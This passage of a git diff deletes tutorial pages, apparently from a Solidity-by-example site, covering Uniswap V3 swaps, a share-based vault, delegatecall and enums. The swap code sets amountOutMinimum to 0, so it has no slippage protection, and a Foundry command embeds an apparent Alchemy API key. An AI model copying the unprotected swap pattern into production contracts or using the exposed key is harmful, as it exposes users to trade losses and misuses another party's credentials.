"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICJmb3JnZS1zdGQvY29uc29sZS5zb2wiOwoKaW1wb3J0ICIuLi9zcmMvVW5pc3dhcFYzU3dhcEV4YW1wbGVzLnNvbCI7CgphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7Cgpjb250cmFjdCBVbmlWM1Rlc3QgaXMgVGVzdCB7CiAgICBJV0VUSCBwcml2YXRlIHdldGggPSBJV0VUSChXRVRIKTsKICAgIElFUkMyMCBwcml2YXRlIGRhaSA9IElFUkMyMChEQUkpOwogICAgSUVSQzIwIHByaXZhdGUgdXNkYyA9IElFUkMyMChVU0RDKTsKCiAgICBVbmlzd2FwVjNTd2FwRXhhbXBsZXMgcHJpdmF0ZSB1bmkgPSBuZXcgVW5pc3dhcFYzU3dhcEV4YW1wbGVzKCk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMge30KCiAgICBmdW5jdGlvbiB0ZXN0U2luZ2xlSG9wKCkgcHVibGljIHsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IDFlMTh9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgMWUxOCk7CgogICAgICAgIHVpbnQgYW1vdW50T3V0ID0gdW5pLnN3YXBFeGFjdElucHV0U2luZ2xlSG9wKFdFVEgsIERBSSwgMzAwMCwgMWUxOCk7CgogICAgICAgIGNvbnNvbGUubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RNdWx0aUhvcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIDFlMTgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9IGFiaS5lbmNvZGVQYWNrZWQoCiAgICAgICAgICAgIFdFVEgsCiAgICAgICAgICAgIHVpbnQyNCgzMDAwKSwKICAgICAgICAgICAgVVNEQywKICAgICAgICAgICAgdWludDI0KDEwMCksCiAgICAgICAgICAgIERBSQogICAgICAgICk7CgogICAgICAgIHVpbnQgYW1vdW50T3V0ID0gdW5pLnN3YXBFeGFjdElucHV0TXVsdGlIb3AocGF0aCwgV0VUSCwgMWUxOCk7CgogICAgICAgIGNvbnNvbGUubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQp9Cg==", - }, -] - -const html = `

Uniswap V3 Swap Examples

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract UniswapV3SwapExamples {
-    ISwapRouter constant router =
-        ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);
-
-    function swapExactInputSingleHop(
-        address tokenIn,
-        address tokenOut,
-        uint24 poolFee,
-        uint amountIn
-    ) external returns (uint amountOut) {
-        IERC20(tokenIn).transferFrom(msg.sender, address(this), amountIn);
-        IERC20(tokenIn).approve(address(router), amountIn);
-
-        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
-            .ExactInputSingleParams({
-                tokenIn: tokenIn,
-                tokenOut: tokenOut,
-                fee: poolFee,
-                recipient: msg.sender,
-                deadline: block.timestamp,
-                amountIn: amountIn,
-                amountOutMinimum: 0,
-                sqrtPriceLimitX96: 0
-            });
-
-        amountOut = router.exactInputSingle(params);
-    }
-
-    function swapExactInputMultiHop(
-        bytes calldata path,
-        address tokenIn,
-        uint amountIn
-    ) external returns (uint amountOut) {
-        IERC20(tokenIn).transferFrom(msg.sender, address(this), amountIn);
-        IERC20(tokenIn).approve(address(router), amountIn);
-
-        ISwapRouter.ExactInputParams memory params = ISwapRouter.ExactInputParams({
-            path: path,
-            recipient: msg.sender,
-            deadline: block.timestamp,
-            amountIn: amountIn,
-            amountOutMinimum: 0
-        });
-        amountOut = router.exactInput(params);
-    }
-}
-
-interface ISwapRouter {
-    struct ExactInputSingleParams {
-        address tokenIn;
-        address tokenOut;
-        uint24 fee;
-        address recipient;
-        uint deadline;
-        uint amountIn;
-        uint amountOutMinimum;
-        uint160 sqrtPriceLimitX96;
-    }
-
-    /// @notice Swaps amountIn of one token for as much as possible of another token
-    /// @param params The parameters necessary for the swap, encoded as ExactInputSingleParams in calldata
-    /// @return amountOut The amount of the received token
-    function exactInputSingle(
-        ExactInputSingleParams calldata params
-    ) external payable returns (uint amountOut);
-
-    struct ExactInputParams {
-        bytes path;
-        address recipient;
-        uint deadline;
-        uint amountIn;
-        uint amountOutMinimum;
-    }
-
-    /// @notice Swaps amountIn of one token for as much as possible of another along the specified path
-    /// @param params The parameters necessary for the multi-hop swap, encoded as ExactInputParams in calldata
-    /// @return amountOut The amount of the received token
-    function exactInput(
-        ExactInputParams calldata params
-    ) external payable returns (uint amountOut);
-}
-
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-
-    event Transfer(address indexed from, address indexed to, uint value);
-    event Approval(address indexed owner, address indexed spender, uint value);
-}
-
-interface IWETH is IERC20 {
-    function deposit() external payable;
-
-    function withdraw(uint amount) external;
-}
-

Test with Foundry

-
    -
  1. Copy and paste this into test folder in your foundry project
  2. -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "forge-std/Test.sol";
-import "forge-std/console.sol";
-
-import "../src/UniswapV3SwapExamples.sol";
-
-address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
-address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
-address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
-
-contract UniV3Test is Test {
-    IWETH private weth = IWETH(WETH);
-    IERC20 private dai = IERC20(DAI);
-    IERC20 private usdc = IERC20(USDC);
-
-    UniswapV3SwapExamples private uni = new UniswapV3SwapExamples();
-
-    function setUp() public {}
-
-    function testSingleHop() public {
-        weth.deposit{value: 1e18}();
-        weth.approve(address(uni), 1e18);
-
-        uint amountOut = uni.swapExactInputSingleHop(WETH, DAI, 3000, 1e18);
-
-        console.log("DAI", amountOut);
-    }
-
-    function testMultiHop() public {
-        weth.deposit{value: 1e18}();
-        weth.approve(address(uni), 1e18);
-
-        bytes memory path = abi.encodePacked(
-            WETH,
-            uint24(3000),
-            USDC,
-            uint24(100),
-            DAI
-        );
-
-        uint amountOut = uni.swapExactInputMultiHop(path, WETH, 1e18);
-
-        console.log("DAI", amountOut);
-    }
-}
-
    -
  1. Execute the following commands to run the test
  2. -
-
FORK_URL=https://eth-mainnet.g.alchemy.com/v2/613t3mfjTevdrCwDl28CVvuk6wSIxRPi
-forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3SwapExamples.test.sol
-

Links

-

Uniswap V3

-

Foundry

-

Uniswap V3 Foundry example

-` - -export default html diff --git a/src/pages/defi/uniswap-v3-swap/index.md b/src/pages/defi/uniswap-v3-swap/index.md deleted file mode 100644 index 8f5afcaf2..000000000 --- a/src/pages/defi/uniswap-v3-swap/index.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Uniswap V3 Swap Examples -version: 0.8.20 -description: Uniswap V3 swap examples -keywords: [defi, uniswap, v3, swap, amm] ---- - -### Uniswap V3 Swap Examples - -```solidity -{{{UniswapV3SwapExamples}}} -``` - -### Test with Foundry - -1. Copy and paste this into `test` folder in your foundry project - -```solidity -{{{UniswapV3SwapExamplesTest}}} -``` - -2. Execute the following commands to run the test - -```shell -FORK_URL=https://eth-mainnet.g.alchemy.com/v2/613t3mfjTevdrCwDl28CVvuk6wSIxRPi -forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3SwapExamples.test.sol -``` - -### Links - -Uniswap V3 - -Foundry - -Uniswap V3 Foundry example diff --git a/src/pages/defi/uniswap-v3-swap/index.tsx b/src/pages/defi/uniswap-v3-swap/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/uniswap-v3-swap/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/vault/Vault.sol b/src/pages/defi/vault/Vault.sol deleted file mode 100644 index 5a7b8d307..000000000 --- a/src/pages/defi/vault/Vault.sol +++ /dev/null @@ -1,82 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Vault { - IERC20 public immutable token; - - uint public totalSupply; - mapping(address => uint) public balanceOf; - - constructor(address _token) { - token = IERC20(_token); - } - - function _mint(address _to, uint _shares) private { - totalSupply += _shares; - balanceOf[_to] += _shares; - } - - function _burn(address _from, uint _shares) private { - totalSupply -= _shares; - balanceOf[_from] -= _shares; - } - - function deposit(uint _amount) external { - /* - a = amount - B = balance of token before deposit - T = total supply - s = shares to mint - - (T + s) / T = (a + B) / B - - s = aT / B - */ - uint shares; - if (totalSupply == 0) { - shares = _amount; - } else { - shares = (_amount * totalSupply) / token.balanceOf(address(this)); - } - - _mint(msg.sender, shares); - token.transferFrom(msg.sender, address(this), _amount); - } - - function withdraw(uint _shares) external { - /* - a = amount - B = balance of token before withdraw - T = total supply - s = shares to burn - - (T - s) / T = (B - a) / B - - a = sB / T - */ - uint amount = (_shares * token.balanceOf(address(this))) / totalSupply; - _burn(msg.sender, _shares); - token.transfer(msg.sender, amount); - } -} - -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); - - event Transfer(address indexed from, address indexed to, uint amount); - event Approval(address indexed owner, address indexed spender, uint amount); -} diff --git a/src/pages/defi/vault/index.html.ts b/src/pages/defi/vault/index.html.ts deleted file mode 100644 index ef57f6611..000000000 --- a/src/pages/defi/vault/index.html.ts +++ /dev/null @@ -1,107 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Vault" -export const description = "Vault" - -export const keywords = ["defi", "vault"] - -export const codes = [ - { - fileName: "Vault.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFZhdWx0IHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwoKICAgIHVpbnQgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgX3RvLCB1aW50IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW190b10gKz0gX3NoYXJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIF9mcm9tLCB1aW50IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5IC09IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW19mcm9tXSAtPSBfc2hhcmVzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludCBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50CiAgICAgICAgQiA9IGJhbGFuY2Ugb2YgdG9rZW4gYmVmb3JlIGRlcG9zaXQKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBtaW50CgogICAgICAgIChUICsgcykgLyBUID0gKGEgKyBCKSAvIEIgCgogICAgICAgIHMgPSBhVCAvIEIKICAgICAgICAqLwogICAgICAgIHVpbnQgc2hhcmVzOwogICAgICAgIGlmICh0b3RhbFN1cHBseSA9PSAwKSB7CiAgICAgICAgICAgIHNoYXJlcyA9IF9hbW91bnQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgc2hhcmVzID0gKF9hbW91bnQgKiB0b3RhbFN1cHBseSkgLyB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgfQoKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50IF9zaGFyZXMpIGV4dGVybmFsIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQKICAgICAgICBCID0gYmFsYW5jZSBvZiB0b2tlbiBiZWZvcmUgd2l0aGRyYXcKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBidXJuCgogICAgICAgIChUIC0gcykgLyBUID0gKEIgLSBhKSAvIEIgCgogICAgICAgIGEgPSBzQiAvIFQKICAgICAgICAqLwogICAgICAgIHVpbnQgYW1vdW50ID0gKF9zaGFyZXMgKiB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSkpIC8gdG90YWxTdXBwbHk7CiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludCBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludCBhbW91bnQpOwp9Cg==", - }, -] - -const html = `

Simple example of vault contract, commonly used in DeFi protocols.

-

Most vaults on the mainnet are more complex. Here we will focus on the math for calculating shares to mint on deposit and the amount of token to withdraw.

-

How the contract works

-
    -
  1. Some amount of shares are minted when an user deposits.
  2. -
  3. The DeFi protocol would use the users' deposits to generate yield (somehow).
  4. -
  5. User burn shares to withdraw his tokens + yield.
  6. -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Vault {
-    IERC20 public immutable token;
-
-    uint public totalSupply;
-    mapping(address => uint) public balanceOf;
-
-    constructor(address _token) {
-        token = IERC20(_token);
-    }
-
-    function _mint(address _to, uint _shares) private {
-        totalSupply += _shares;
-        balanceOf[_to] += _shares;
-    }
-
-    function _burn(address _from, uint _shares) private {
-        totalSupply -= _shares;
-        balanceOf[_from] -= _shares;
-    }
-
-    function deposit(uint _amount) external {
-        /*
-        a = amount
-        B = balance of token before deposit
-        T = total supply
-        s = shares to mint
-
-        (T + s) / T = (a + B) / B 
-
-        s = aT / B
-        */
-        uint shares;
-        if (totalSupply == 0) {
-            shares = _amount;
-        } else {
-            shares = (_amount * totalSupply) / token.balanceOf(address(this));
-        }
-
-        _mint(msg.sender, shares);
-        token.transferFrom(msg.sender, address(this), _amount);
-    }
-
-    function withdraw(uint _shares) external {
-        /*
-        a = amount
-        B = balance of token before withdraw
-        T = total supply
-        s = shares to burn
-
-        (T - s) / T = (B - a) / B 
-
-        a = sB / T
-        */
-        uint amount = (_shares * token.balanceOf(address(this))) / totalSupply;
-        _burn(msg.sender, _shares);
-        token.transfer(msg.sender, amount);
-    }
-}
-
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-
-    event Transfer(address indexed from, address indexed to, uint amount);
-    event Approval(address indexed owner, address indexed spender, uint amount);
-}
-
` - -export default html diff --git a/src/pages/defi/vault/index.md b/src/pages/defi/vault/index.md deleted file mode 100644 index 7c9fb0fbe..000000000 --- a/src/pages/defi/vault/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Vault -version: 0.8.20 -description: Vault -keywords: [defi, vault] ---- - -Simple example of vault contract, commonly used in DeFi protocols. - -Most vaults on the mainnet are more complex. Here we will focus on the math for calculating shares to mint on deposit and the amount of token to withdraw. - -### How the contract works - -1. Some amount of shares are minted when an user deposits. -2. The DeFi protocol would use the users' deposits to generate yield (somehow). -3. User burn shares to withdraw his tokens + yield. - -```solidity -{{{Vault}}} -``` diff --git a/src/pages/defi/vault/index.tsx b/src/pages/defi/vault/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/vault/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/delegatecall/Delegatecall.sol b/src/pages/delegatecall/Delegatecall.sol deleted file mode 100644 index 54edb2da8..000000000 --- a/src/pages/delegatecall/Delegatecall.sol +++ /dev/null @@ -1,29 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -// NOTE: Deploy this contract first -contract B { - // NOTE: storage layout must be the same as contract A - uint public num; - address public sender; - uint public value; - - function setVars(uint _num) public payable { - num = _num; - sender = msg.sender; - value = msg.value; - } -} - -contract A { - uint public num; - address public sender; - uint public value; - - function setVars(address _contract, uint _num) public payable { - // A's storage is set, B is not modified. - (bool success, bytes memory data) = _contract.delegatecall( - abi.encodeWithSignature("setVars(uint256)", _num) - ); - } -} diff --git a/src/pages/delegatecall/index.html.ts b/src/pages/delegatecall/index.html.ts deleted file mode 100644 index a1e5fd64b..000000000 --- a/src/pages/delegatecall/index.html.ts +++ /dev/null @@ -1,56 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Delegatecall" -export const description = "Example of how to use deletegatecall in Solidity" - -export const keywords = [ - "delegatecall", - "call", - "contract", - "contracts", - "function", - "functions", -] - -export const codes = [ - { - fileName: "Delegatecall.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIE5PVEU6IERlcGxveSB0aGlzIGNvbnRyYWN0IGZpcnN0CmNvbnRyYWN0IEIgewogICAgLy8gTk9URTogc3RvcmFnZSBsYXlvdXQgbXVzdCBiZSB0aGUgc2FtZSBhcyBjb250cmFjdCBBCiAgICB1aW50IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKHVpbnQgX251bSkgcHVibGljIHBheWFibGUgewogICAgICAgIG51bSA9IF9udW07CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICB2YWx1ZSA9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgQSB7CiAgICB1aW50IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKGFkZHJlc3MgX2NvbnRyYWN0LCB1aW50IF9udW0pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBBJ3Mgc3RvcmFnZSBpcyBzZXQsIEIgaXMgbm90IG1vZGlmaWVkLgogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9jb250cmFjdC5kZWxlZ2F0ZWNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJzZXRWYXJzKHVpbnQyNTYpIiwgX251bSkKICAgICAgICApOwogICAgfQp9Cg==", - }, -] - -const html = `

delegatecall is a low level function similar to call.

-

When contract A executes delegatecall to contract B, B's code is executed

-

with contract A's storage, msg.sender and msg.value.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-// NOTE: Deploy this contract first
-contract B {
-    // NOTE: storage layout must be the same as contract A
-    uint public num;
-    address public sender;
-    uint public value;
-
-    function setVars(uint _num) public payable {
-        num = _num;
-        sender = msg.sender;
-        value = msg.value;
-    }
-}
-
-contract A {
-    uint public num;
-    address public sender;
-    uint public value;
-
-    function setVars(address _contract, uint _num) public payable {
-        // A's storage is set, B is not modified.
-        (bool success, bytes memory data) = _contract.delegatecall(
-            abi.encodeWithSignature("setVars(uint256)", _num)
-        );
-    }
-}
-
` - -export default html diff --git a/src/pages/delegatecall/index.md b/src/pages/delegatecall/index.md deleted file mode 100644 index d4c60407a..000000000 --- a/src/pages/delegatecall/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Delegatecall -version: 0.8.20 -description: Example of how to use deletegatecall in Solidity -keywords: [delegatecall, call, contract, contracts, function, functions] ---- - -`delegatecall` is a low level function similar to `call`. - -When contract `A` executes `delegatecall` to contract `B`, `B`'s code is executed - -with contract `A`'s storage, `msg.sender` and `msg.value`. - -```solidity -{{{Delegatecall}}} -``` diff --git a/src/pages/delegatecall/index.tsx b/src/pages/delegatecall/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/delegatecall/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/enum/Enum.sol b/src/pages/enum/Enum.sol deleted file mode 100644 index 2bb8ccb8a..000000000 --- a/src/pages/enum/Enum.sol +++ /dev/null @@ -1,42 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Enum { - // Enum representing shipping status - enum Status { - Pending, - Shipped, - Accepted, - Rejected, - Canceled - } - - // Default value is the first element listed in - // definition of the type, in this case "Pending" - Status public status; - - // Returns uint - // Pending - 0 - // Shipped - 1 - // Accepted - 2 - // Rejected - 3 - // Canceled - 4 - function get() public view returns (Status) { - return status; - } - - // Update status by passing uint into input - function set(Status _status) public { - status = _status; - } - - // You can update to a specific enum like this - function cancel() public { - status = Status.Canceled; - } - - // delete resets the enum to its first value, 0 - function reset() public { - delete status; - } -} diff --git a/src/pages/enum/EnumDeclaration.sol b/src/pages/enum/EnumDeclaration.sol deleted file mode 100644 index 290f5874c..000000000 --- a/src/pages/enum/EnumDeclaration.sol +++ /dev/null @@ -1,11 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; -// This is saved 'EnumDeclaration.sol' - -enum Status { - Pending, - Shipped, - Accepted, - Rejected, - Canceled -} diff --git a/src/pages/enum/EnumImport.sol b/src/pages/enum/EnumImport.sol deleted file mode 100644 index 94cbb1393..000000000 --- a/src/pages/enum/EnumImport.sol +++ /dev/null @@ -1,8 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "./EnumDeclaration.sol"; - -contract Enum { - Status public status; -} diff --git a/src/pages/enum/index.html.ts b/src/pages/enum/index.html.ts deleted file mode 100644 index 6f8b96ebd..000000000 --- a/src/pages/enum/index.html.ts +++ /dev/null @@ -1,91 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Enum" -export const description = "Example of enums in Solidity" - -export const keywords = ["data", "variable", "variables", "enum", "import", "imports"] - -export const codes = [ - { - fileName: "Enum.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEVudW0gewogICAgLy8gRW51bSByZXByZXNlbnRpbmcgc2hpcHBpbmcgc3RhdHVzCiAgICBlbnVtIFN0YXR1cyB7CiAgICAgICAgUGVuZGluZywKICAgICAgICBTaGlwcGVkLAogICAgICAgIEFjY2VwdGVkLAogICAgICAgIFJlamVjdGVkLAogICAgICAgIENhbmNlbGVkCiAgICB9CgogICAgLy8gRGVmYXVsdCB2YWx1ZSBpcyB0aGUgZmlyc3QgZWxlbWVudCBsaXN0ZWQgaW4KICAgIC8vIGRlZmluaXRpb24gb2YgdGhlIHR5cGUsIGluIHRoaXMgY2FzZSAiUGVuZGluZyIKICAgIFN0YXR1cyBwdWJsaWMgc3RhdHVzOwoKICAgIC8vIFJldHVybnMgdWludAogICAgLy8gUGVuZGluZyAgLSAwCiAgICAvLyBTaGlwcGVkICAtIDEKICAgIC8vIEFjY2VwdGVkIC0gMgogICAgLy8gUmVqZWN0ZWQgLSAzCiAgICAvLyBDYW5jZWxlZCAtIDQKICAgIGZ1bmN0aW9uIGdldCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKFN0YXR1cykgewogICAgICAgIHJldHVybiBzdGF0dXM7CiAgICB9CgogICAgLy8gVXBkYXRlIHN0YXR1cyBieSBwYXNzaW5nIHVpbnQgaW50byBpbnB1dAogICAgZnVuY3Rpb24gc2V0KFN0YXR1cyBfc3RhdHVzKSBwdWJsaWMgewogICAgICAgIHN0YXR1cyA9IF9zdGF0dXM7CiAgICB9CgogICAgLy8gWW91IGNhbiB1cGRhdGUgdG8gYSBzcGVjaWZpYyBlbnVtIGxpa2UgdGhpcwogICAgZnVuY3Rpb24gY2FuY2VsKCkgcHVibGljIHsKICAgICAgICBzdGF0dXMgPSBTdGF0dXMuQ2FuY2VsZWQ7CiAgICB9CgogICAgLy8gZGVsZXRlIHJlc2V0cyB0aGUgZW51bSB0byBpdHMgZmlyc3QgdmFsdWUsIDAKICAgIGZ1bmN0aW9uIHJlc2V0KCkgcHVibGljIHsKICAgICAgICBkZWxldGUgc3RhdHVzOwogICAgfQp9Cg==", - }, - { - fileName: "EnumDeclaration.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKLy8gVGhpcyBpcyBzYXZlZCAnRW51bURlY2xhcmF0aW9uLnNvbCcKCmVudW0gU3RhdHVzIHsKICAgIFBlbmRpbmcsCiAgICBTaGlwcGVkLAogICAgQWNjZXB0ZWQsCiAgICBSZWplY3RlZCwKICAgIENhbmNlbGVkCn0K", - }, - { - fileName: "EnumImport.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiLi9FbnVtRGVjbGFyYXRpb24uc29sIjsKCmNvbnRyYWN0IEVudW0gewogICAgU3RhdHVzIHB1YmxpYyBzdGF0dXM7Cn0K", - }, -] - -const html = `

Solidity supports enumerables and they are useful to model choice and keep track of state.

-

Enums can be declared outside of a contract.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Enum {
-    // Enum representing shipping status
-    enum Status {
